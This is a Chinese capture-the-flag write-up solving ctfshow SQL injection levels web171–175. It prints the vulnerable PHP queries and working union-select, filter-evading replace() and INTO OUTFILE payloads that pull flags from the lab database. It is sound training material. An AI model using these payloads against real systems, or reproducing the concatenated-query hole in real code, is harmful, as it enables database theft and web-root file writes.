ctfshow-web入门-sql注入 1.无过滤注入(web171-web175)
web171
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
- 先查询数据库名和版本号
-1' union select 1,database(),version() --+

- 然后查询表名
-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

- 然后查询字段名
-1' union select 1,column_name,3 from information_schema.columns where table_name='ctfshow_user' --+

- 最后查询具体数据
-1"' union select id,username,password from ctfshow_user --+

没有发现flag
根据上述查询语句,拼接语句1' or 1=1 --+,得到flag
select username,password from user where username !='flag' and id = '
$_GET['id']
' limit 1;
原语句$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
拼接得到:
$sql = "select username,password from user where username !='flag' and id = '1' or 1=1 --+' limit 1;";
即
select username,password from user where username !='flag' and id = '1' or 1=1;

web172
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
和上一题一样1' or 1=1 --+,发现flag不在这里

于是查看无过滤注入2

存在过滤,不能得到flag

-
执行order by,发现只有两列

-
查询表名,发现两张表
-1' union select table_name,3 from information_schema.tables where table_schema=database() --+

- 查询ctfshow_user2的字段名
-1' union select column_name,3 from information_schema.columns where table_name='ctfshow_user2' --+

- 查询username和password,没有flag

- 查询id和password,发现flag

web173
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
选择无过滤注入3
- 先查看数据库及版本
1' union select 1,database(),version() --+

- 查看表名
1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

- 查看表ctfshow_user3
1' union select id,username,password from ctfshow_user3 --+
没有发现flag

其他两个表里也没有发现flag
因为有过滤条件
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
而用户名为flag,会被过滤掉
于是不查询username,得到flag
1' union select id,2,password from ctfshow_user3 --+

web174
无过滤注入4
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}
- 首先查看列数,发现只有两列
1' order by 3 --+

- 屏蔽了flag和所有数字
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
- 可以将数字替换为字母
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4 --+
因为 flag 内容为 16 进制,所以从g开始替换
得到替换后的flag ctfshow{bdbcfoib-fgio-khgj-aplj-bciplggfckgo}

然后使用Python脚本还原flag
flag_replaced = "ctfshow{bdbcfoib-fgio-khgj-aplj-bciplggfckgo}"
flag = flag_replaced.replace('g','0').replace('h','1').replace('i','2').replace('j','3').replace('k','4').replace('l','5').replace('m','6').replace('n','7').replace('o','8').replace('p','9')
print(flag)
运行脚本后得到
ctfs18w{bdbcf82b-f028-4103-a953-bc29500fc408}
ho被替换为了18,手动换回来即可
ctfshow{bdbcf82b-f028-4103-a953-bc29500fc408}
web175
查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
返回逻辑
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
无过滤注入5
过滤了所有16进制数
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
尝试继续替换
-1' union select 'g',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p'),'a','q'),'b','r'),'c','s'),'d','t'),'e','u'),'f','v') from ctfshow_user5 --+
结果提示无数据

直接输入1也提示无数据,这个题应该不会返回数据

于是将查询到的数据写入文件flag.txt
1' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt'

再访问url/flag.txt,得到flagctfshow{627a09ab-4e39-433c-85a8-ec75f6e1a50a}


浙公网安备 33010602011771号